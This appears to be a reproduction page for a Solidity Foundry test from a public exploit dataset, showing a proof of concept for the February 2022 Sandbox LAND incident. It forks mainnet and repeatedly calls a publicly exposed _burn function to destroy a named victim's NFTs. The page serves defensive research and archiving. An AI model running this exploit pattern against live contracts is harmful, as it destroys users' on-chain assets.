Public reproduction file
src/test/2022-02/Sandbox_exp.sol
Public reproduction file for dataset entry Sandbox LAND.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!3pragma solidity >=0.7.0 <0.9.0;5import "forge-std/Test.sol";6import "./../interface.sol";8contract ContractTest is Test {9 ILand Land = ILand(0x50f5474724e0Ee42D9a4e711ccFB275809Fd6d4a);10 address victim = 0x9cfA73B8d300Ec5Bf204e4de4A58e5ee6B7dC93C;11 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);13 function setUp() public {14 cheats.createSelectFork("mainnet", 14_163_041); //fork mainnet at block 1416304115 }17 function testExploit() public {18 cheats.startPrank(0x6FB0B915D0e10c3B2ae42a5DD879c3D995377A2C);19 console.log("Before exploiting, victim owned NFT:", Land._numNFTPerAddress(victim)); // 2762 is the number of NFTs in the victim's account.20 for (uint256 i = 0; i < 100; i++) {21 // let's try to burn 100 nfts22 Land._burn(victim, victim, 3738); // _burn function that was set to be called was set in a public state, anyone can burn any user's NFT.23 }24 console.log("After exploiting, victim owned NFT:", Land._numNFTPerAddress(victim));25 }26}Analysis
Dataset entry
Public Foundry test for “Sandbox LAND” (2022-02-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
4 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-02/BuildF_exp.solSame month in the dataset · 49 lines
- src/test/2022-02/Meter_exp.solSame month in the dataset · 49 lines
- src/test/2022-02/TecraSpace_exp.solSame month in the dataset · 94 lines
- src/test/2026-08/SandboxOFT_exp.solSame protocol or name in the dataset · 158 lines
File record
- Name
- Sandbox LAND
- Path
- src/test/2022-02/Sandbox_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6a1f29df88d64668f0290f975bfd6dfbed6e5bfe
- Language
- Solidity
- Size
- 27 lines
- Date
- 2022-02-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-02/Sandbox_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6a1f29df88d64668f0290f975bfd6dfbed6e5bfe, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.